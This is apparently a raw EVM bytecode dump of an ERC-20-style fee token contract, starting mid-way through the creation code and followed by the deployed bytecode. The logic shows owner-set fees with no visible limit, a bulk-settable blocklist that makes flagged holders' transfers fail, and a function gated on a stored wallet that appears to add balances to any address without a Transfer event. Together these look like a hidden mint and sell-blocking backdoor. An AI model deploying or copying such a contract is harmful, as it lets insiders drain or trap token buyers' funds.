4906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156116d8575060006116d6826116c8600186611c2e90919063ffffffff16565b611f4890919063ffffffff16565b115b6116e157600080fd5b5050565b60008082846116f49190612797565b90508381101561170357600080fd5b8091505092915050565b600061174f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fa6565b905092915050565b60006117e2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161191791906126b2565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196257611961612ac5565b5b6040519080825280602002602001820160405280156119905781602001602082028036833780820191505090505b50905030816000815181106119a8576119a7612a96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4a57600080fd5b505afa158015611a5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a82919061215b565b81600181518110611a9657611a95612a96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611afd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f92565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b619594939291906126cd565b600060405180830381600087803b158015611b7b57600080fd5b505af1925050508015611b8c575060015b611b9557611b96565b5b60004790506000811115611c0e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c0c573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c7083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ec565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0057611cf96064611ceb600c548661200990919063ffffffff16565b61170d90919063ffffffff16565b9050611d7e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7d57611d7a6064611d6c600d548661200990919063ffffffff16565b61170d90919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e2757600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e2657600080fd5b5b6000811115611f2b57611e8281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f2291906126b2565b60405180910390a35b611f3e8184611c2e90919063ffffffff16565b9150509392505050565b6000808284611f579190612797565b905083811015611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390612612565b60405180910390fd5b8091505092915050565b60008083118290611fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe491906125b0565b60405180910390fd5b5060008385611ffc91906127ed565b9050809150509392505050565b60008083141561201c576000905061207e565b6000828461202a919061281e565b905082848261203991906127ed565b14612079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207090612632565b60405180910390fd5b809150505b92915050565b60008135905061209381612cfb565b92915050565b6000815190506120a881612cfb565b92915050565b60008083601f8401126120c4576120c3612af9565b5b8235905067ffffffffffffffff8111156120e1576120e0612af4565b5b6020830191508360208202830111156120fd576120fc612afe565b5b9250929050565b60008135905061211381612d12565b92915050565b60008135905061212881612d29565b92915050565b60006020828403121561214457612143612b08565b5b600061215284828501612084565b91505092915050565b60006020828403121561217157612170612b08565b5b600061217f84828501612099565b91505092915050565b6000806040838503121561219f5761219e612b08565b5b60006121ad85828601612084565b92505060206121be85828601612084565b9150509250929050565b6000806000606084860312156121e1576121e0612b08565b5b60006121ef86828701612084565b935050602061220086828701612084565b925050604061221186828701612119565b9150509250925092565b6000806040838503121561223257612231612b08565b5b600061224085828601612084565b925050602061225185828601612119565b9150509250929050565b60008060006040848603121561227457612273612b08565b5b600061228286828701612104565b935050602084013567ffffffffffffffff8111156122a3576122a2612b03565b5b6122af868287016120ae565b92509250509250925092565b6000602082840312156122d1576122d0612b08565b5b60006122df84828501612119565b91505092915050565b600080604083850312156122ff576122fe612b08565b5b600061230d85828601612119565b925050602061231e85828601612084565b9150509250929050565b6000612334838361234f565b60208301905092915050565b612349816128be565b82525050565b612358816128ac565b82525050565b612367816128ac565b82525050565b600061237882612752565b6123828185612775565b935061238d83612742565b8060005b838110156123be5781516123a58882612328565b97506123b083612768565b925050600181019050612391565b5085935050505092915050565b6123d4816128d0565b82525050565b6123e381612913565b82525050565b6123f281612925565b82525050565b60006124038261275d565b61240d8185612786565b935061241d81856020860161295b565b61242681612b0d565b840191505092915050565b600061243e602383612786565b915061244982612b1e565b604082019050919050565b6000612461602283612786565b915061246c82612b6d565b604082019050919050565b6000612484601b83612786565b915061248f82612bbc565b602082019050919050565b60006124a7602183612786565b91506124b282612be5565b604082019050919050565b60006124ca602083612786565b91506124d582612c34565b602082019050919050565b60006124ed602583612786565b91506124f882612c5d565b604082019050919050565b6000612510602483612786565b915061251b82612cac565b604082019050919050565b61252f816128fc565b82525050565b61253e81612906565b82525050565b6000602082019050612559600083018461235e565b92915050565b60006020820190506125746000830184612340565b92915050565b600060208201905061258f60008301846123cb565b92915050565b60006020820190506125aa60008301846123da565b92915050565b600060208201905081810360008301526125ca81846123f8565b905092915050565b600060208201905081810360008301526125eb81612431565b9050919050565b6000602082019050818103600083015261260b81612454565b9050919050565b6000602082019050818103600083015261262b81612477565b9050919050565b6000602082019050818103600083015261264b8161249a565b9050919050565b6000602082019050818103600083015261266b816124bd565b9050919050565b6000602082019050818103600083015261268b816124e0565b9050919050565b600060208201905081810360008301526126ab81612503565b9050919050565b60006020820190506126c76000830184612526565b92915050565b600060a0820190506126e26000830188612526565b6126ef60208301876123e9565b8181036040830152612701818661236d565b9050612710606083018561235e565b61271d6080830184612526565b9695505050505050565b600060208201905061273c6000830184612535565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a2826128fc565b91506127ad836128fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e2576127e1612a09565b5b828201905092915050565b60006127f8826128fc565b9150612803836128fc565b92508261281357612812612a38565b5b828204905092915050565b6000612829826128fc565b9150612834836128fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561286d5761286c612a09565b5b828202905092915050565b6000612883826128fc565b915061288e836128fc565b9250828210156128a1576128a0612a09565b5b828203905092915050565b60006128b7826128dc565b9050919050565b60006128c9826128dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061291e82612937565b9050919050565b6000612930826128fc565b9050919050565b600061294282612949565b9050919050565b6000612954826128dc565b9050919050565b60005b8381101561297957808201518184015260208101905061295e565b83811115612988576000848401525b50505050565b600060028204905060018216806129a657607f821691505b602082108114156129ba576129b9612a67565b5b50919050565b60006129cb826128fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129fe576129fd612a09565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d04816128ac565b8114612d0f57600080fd5b50565b612d1b816128d0565b8114612d2657600080fd5b50565b612d32816128fc565b8114612d3d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200cf08b87b9d199973d4b204c21a3f32bfb95f0c0182885ee4eb7afadfcd41ba964736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806382eefb43116100ec578063b98115ff1161008a578063c860795211610064578063c860795214610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063b98115ff146105b2578063c5d24189146105ef578063c816841b1461061a576101c2565b806395d89b41116100c657806395d89b41146104f6578063a08e671f14610521578063a63848961461054c578063a9059cbb14610575576101c2565b806382eefb43146104775780638b4cee08146104a25780638da5cb5b146104cb576101c2565b8063244c8fd9116101595780633345611e116101335780633345611e146103a9578063568f2610146103e657806361a23c691461040f57806370a082311461043a576101c2565b8063244c8fd91461032857806327c8f83514610353578063313ce5671461037e576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae57806323b872dd146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906125b0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221b565b610793565b604051610226919061257a565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906122bb565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a9190612595565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906126b2565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061212e565b610889565b6040516102e2919061257a565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d91906121c8565b6108a9565b60405161031f919061257a565b60405180910390f35b34801561033457600080fd5b5061033d610983565b60405161034a919061255f565b60405180910390f35b34801561035f57600080fd5b506103686109a9565b6040516103759190612544565b60405180910390f35b34801561038a57600080fd5b506103936109cd565b6040516103a09190612727565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb919061212e565b6109e4565b6040516103dd919061257a565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906122e8565b610a04565b005b34801561041b57600080fd5b50610424610acb565b60405161043191906126b2565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c919061212e565b610ad1565b60405161046e91906126b2565b60405180910390f35b34801561048357600080fd5b5061048c610b1a565b60405161049991906126b2565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c491906122bb565b610b20565b005b3480156104d757600080fd5b506104e0610bc8565b6040516104ed9190612544565b60405180910390f35b34801561050257600080fd5b5061050b610bf1565b60405161051891906125b0565b60405180910390f35b34801561052d57600080fd5b50610536610c83565b60405161054391906126b2565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e919061225b565b610c89565b005b34801561058157600080fd5b5061059c6004803603810190610597919061221b565b610d3a565b6040516105a9919061257a565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061212e565b610d59565b6040516105e6919061257a565b60405180910390f35b3480156105fb57600080fd5b50610604610d79565b60405161061191906126b2565b60405180910390f35b34801561062657600080fd5b5061062f610d7f565b60405161063c9190612544565b60405180910390f35b34801561065157600080fd5b5061065a610da5565b60405161066791906126b2565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612188565b610dab565b6040516106a491906126b2565b60405180910390f35b3480156106b957600080fd5b506106c2610e32565b6040516106cf91906126b2565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061212e565b610e38565b005b6060600180546107109061298e565b80601f016020809104026020016040519081016040528092919081815260200182805461073c9061298e565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f8a565b8484610f92565b6001905092915050565b6107b9610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d90612652565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006108b684848461115d565b50610978846108c3610f8a565b61097385604051806060016040528060288152602001612d4160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610929610f8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec9092919063ffffffff16565b610f92565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b610a0d82611650565b610a84600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a766002610a6886876116e590919063ffffffff16565b61170d90919063ffffffff16565b6116e590919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610b28610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90612652565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c009061298e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2c9061298e565b8015610c795780601f10610c4e57610100808354040283529160200191610c79565b820191906000526020600020905b815481529060010190602001808311610c5c57829003601f168201915b5050505050905090565b600e5481565b610c9582829050611650565b60005b82829050811015610d34578360086000858585818110610cbb57610cba612a96565b5b9050602002016020810190610cd0919061212e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d2c906129c0565b915050610c98565b50505050565b6000610d4e610d47610f8a565b848461115d565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e40610f8a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490612652565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611072576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611069906125f2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115091906126b2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590612672565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906125d2565b60405180910390fd5b601160149054906101000a900460ff16156112655761125e848484611757565b90506115e5565b600061127030610ad1565b9050601160149054906101000a900460ff161580156112d95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561132f5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113855750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611394576113938161192a565b5b6113e683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2e90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114cc5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114e0576114db868686611c78565b6114e2565b835b905061153681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d691906126b2565b60405180910390a36001925050505b9392505050565b6000838311158290611634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162b91906125b0565b60405180910390fd5b50600083856116439190612878565b9050809150509392505050565b600060649050600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156116d8575060006116d6826116c8600186611c2e90919063ffffffff16565b611f4890919063ffffffff16565b115b6116e157600080fd5b5050565b60008082846116f49190612797565b90508381101561170357600080fd5b8091505092915050565b600061174f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fa6565b905092915050565b60006117e2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161191791906126b2565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561196257611961612ac5565b5b6040519080825280602002602001820160405280156119905781602001602082028036833780820191505090505b50905030816000815181106119a8576119a7612a96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a4a57600080fd5b505afa158015611a5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a82919061215b565b81600181518110611a9657611a95612a96565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611afd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f92565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b619594939291906126cd565b600060405180830381600087803b158015611b7b57600080fd5b505af1925050508015611b8c575060015b611b9557611b96565b5b60004790506000811115611c0e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c0c573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611c7083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ec565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0057611cf96064611ceb600c548661200990919063ffffffff16565b61170d90919063ffffffff16565b9050611d7e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7d57611d7a6064611d6c600d548661200990919063ffffffff16565b61170d90919063ffffffff16565b90505b5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e2757600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e2657600080fd5b5b6000811115611f2b57611e8281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f2291906126b2565b60405180910390a35b611f3e8184611c2e90919063ffffffff16565b9150509392505050565b6000808284611f579190612797565b905083811015611f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9390612612565b60405180910390fd5b8091505092915050565b60008083118290611fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe491906125b0565b60405180910390fd5b5060008385611ffc91906127ed565b9050809150509392505050565b60008083141561201c576000905061207e565b6000828461202a919061281e565b905082848261203991906127ed565b14612079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207090612632565b60405180910390fd5b809150505b92915050565b60008135905061209381612cfb565b92915050565b6000815190506120a881612cfb565b92915050565b60008083601f8401126120c4576120c3612af9565b5b8235905067ffffffffffffffff8111156120e1576120e0612af4565b5b6020830191508360208202830111156120fd576120fc612afe565b5b9250929050565b60008135905061211381612d12565b92915050565b60008135905061212881612d29565b92915050565b60006020828403121561214457612143612b08565b5b600061215284828501612084565b91505092915050565b60006020828403121561217157612170612b08565b5b600061217f84828501612099565b91505092915050565b6000806040838503121561219f5761219e612b08565b5b60006121ad85828601612084565b92505060206121be85828601612084565b9150509250929050565b6000806000606084860312156121e1576121e0612b08565b5b60006121ef86828701612084565b935050602061220086828701612084565b925050604061221186828701612119565b9150509250925092565b6000806040838503121561223257612231612b08565b5b600061224085828601612084565b925050602061225185828601612119565b9150509250929050565b60008060006040848603121561227457612273612b08565b5b600061228286828701612104565b935050602084013567ffffffffffffffff8111156122a3576122a2612b03565b5b6122af868287016120ae565b92509250509250925092565b6000602082840312156122d1576122d0612b08565b5b60006122df84828501612119565b91505092915050565b600080604083850312156122ff576122fe612b08565b5b600061230d85828601612119565b925050602061231e85828601612084565b9150509250929050565b6000612334838361234f565b60208301905092915050565b612349816128be565b82525050565b612358816128ac565b82525050565b612367816128ac565b82525050565b600061237882612752565b6123828185612775565b935061238d83612742565b8060005b838110156123be5781516123a58882612328565b97506123b083612768565b925050600181019050612391565b5085935050505092915050565b6123d4816128d0565b82525050565b6123e381612913565b82525050565b6123f281612925565b82525050565b60006124038261275d565b61240d8185612786565b935061241d81856020860161295b565b61242681612b0d565b840191505092915050565b600061243e602383612786565b915061244982612b1e565b604082019050919050565b6000612461602283612786565b915061246c82612b6d565b604082019050919050565b6000612484601b83612786565b915061248f82612bbc565b602082019050919050565b60006124a7602183612786565b91506124b282612be5565b604082019050919050565b60006124ca602083612786565b91506124d582612c34565b602082019050919050565b60006124ed602583612786565b91506124f882612c5d565b604082019050919050565b6000612510602483612786565b915061251b82612cac565b604082019050919050565b61252f816128fc565b82525050565b61253e81612906565b82525050565b6000602082019050612559600083018461235e565b92915050565b60006020820190506125746000830184612340565b92915050565b600060208201905061258f60008301846123cb565b92915050565b60006020820190506125aa60008301846123da565b92915050565b600060208201905081810360008301526125ca81846123f8565b905092915050565b600060208201905081810360008301526125eb81612431565b9050919050565b6000602082019050818103600083015261260b81612454565b9050919050565b6000602082019050818103600083015261262b81612477565b9050919050565b6000602082019050818103600083015261264b8161249a565b9050919050565b6000602082019050818103600083015261266b816124bd565b9050919050565b6000602082019050818103600083015261268b816124e0565b9050919050565b600060208201905081810360008301526126ab81612503565b9050919050565b60006020820190506126c76000830184612526565b92915050565b600060a0820190506126e26000830188612526565b6126ef60208301876123e9565b8181036040830152612701818661236d565b9050612710606083018561235e565b61271d6080830184612526565b9695505050505050565b600060208201905061273c6000830184612535565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127a2826128fc565b91506127ad836128fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127e2576127e1612a09565b5b828201905092915050565b60006127f8826128fc565b9150612803836128fc565b92508261281357612812612a38565b5b828204905092915050565b6000612829826128fc565b9150612834836128fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561286d5761286c612a09565b5b828202905092915050565b6000612883826128fc565b915061288e836128fc565b9250828210156128a1576128a0612a09565b5b828203905092915050565b60006128b7826128dc565b9050919050565b60006128c9826128dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061291e82612937565b9050919050565b6000612930826128fc565b9050919050565b600061294282612949565b9050919050565b6000612954826128dc565b9050919050565b60005b8381101561297957808201518184015260208101905061295e565b83811115612988576000848401525b50505050565b600060028204905060018216806129a657607f821691505b602082108114156129ba576129b9612a67565b5b50919050565b60006129cb826128fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129fe576129fd612a09565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000